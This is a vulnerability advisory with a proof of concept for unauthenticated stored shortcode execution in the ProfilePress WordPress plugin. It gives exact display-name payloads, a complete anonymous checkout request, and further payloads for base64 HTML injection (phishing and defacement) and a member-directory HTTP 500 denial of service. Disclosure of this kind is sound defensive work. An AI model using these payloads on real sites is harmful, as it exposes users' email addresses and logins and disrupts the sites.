ProfilePress < 4.17.1 – Unauthenticated Arbitrary Shortcode Execution via Display Name | CVE 2026-19848

Description

The plugin does not strip shortcodes from two of its profile fields before rendering them on public pages, allowing unauthenticated attackers to store shortcodes that are then executed when the page is viewed, disclosing a chosen user's email address, login and registration date.

Proof of Concept

Prerequisites, all default or one click:

1. Install and activate ProfilePress.
2. Accept the plugin's "Create Pages" admin notice. This publishes the Member Directory, My Account and Checkout pages using the plugin's own default forms. No template or field customisation is needed, because the default member directory listing already contains the Display Name field.

For the unauthenticated variant only, the site must also be in its normal membership configuration:

3. Settings > General > Membership > "Anyone can register" enabled.
4. At least one active membership plan.

--- Variant A: any registered user (Subscriber or above) ---

1. Log in as a Subscriber and open the account page's Edit Profile tab at https://victim.example/account/edit-profile/

2. Set the Display Name field to:

   PoC[profile-email] / [profile-username] / [profile-date-registered][zz-not-a-shortcode]

   and save. The value is stored verbatim, brackets included. Note that the parameter is accepted even on an edit-profile form that does not render a Display Name field.

3. Log out entirely and, as an anonymous visitor, request:

   https://victim.example/member-directory/

Expected result: the stored brackets are executed. The response contains, in place of the attacker's display name, another user's data. On a default install that is the site administrator's:

   PoCadmin@victim.example / Admin / August 14th, 2026[zz-not-a-shortcode]

The trailing [zz-not-a-shortcode] is an unregistered tag and stays literal in the same response, which distinguishes execution from simple echoing.

4. Choose a different victim by changing the directory's own sort and paging parameters, still anonymously:

   https://victim.example/member-directory/?sortby1=username
   https://victim.example/member-directory/?sortby1=oldest
   https://victim.example/member-directory/?mdpage1=2

   Each returns a different user's email address, login and registration date.

--- Variant B: unauthenticated, via the membership checkout ---

1. As an anonymous visitor, request https://victim.example/checkout/?plan=1 and read the ppress_checkout_nonce value out of the returned public HTML.

2. Submit the checkout registration with the payload in the display name:

   POST https://victim.example/wp-admin/admin-ajax.php
     action=ppress_process_checkout
     ppress_checkout_nonce=<value from step 1>
     _ppress_timestamp=<current unix time minus 20>
     _ppress_honeypot=
     plan_id=1
     change_plan_sub_id=0
     ppmb_email=attacker@example.com
     ppmb_username=attacker
     ppmb_password=<any strong password>
     ppmb_first_name=A
     ppmb_last_name=B
     ppmb_display_name=PoC[profile-email] / [profile-username] / [profile-date-registered]

   The response is {"success":true,...}. The account is created carrying the payload before any payment is taken.

3. Request https://victim.example/member-directory/ anonymously. Same result as Variant A step 3.

--- Additional impact reachable from the same stored value ---

* The Nickname field is affected identically wherever a directory or profile layout includes it.

* Storing [pp-custom-html custom_html=<base64 of arbitrary HTML>] as the display name reconstitutes angle brackets after every write-time filter and renders attacker-controlled links and images to anonymous visitors. Script tags, iframes and event-handler attributes are removed, so this is phishing and defacement rather than cross-site scripting.

* Storing [user-pagination prev_text=X] makes the public member directory return HTTP 500 to every visitor.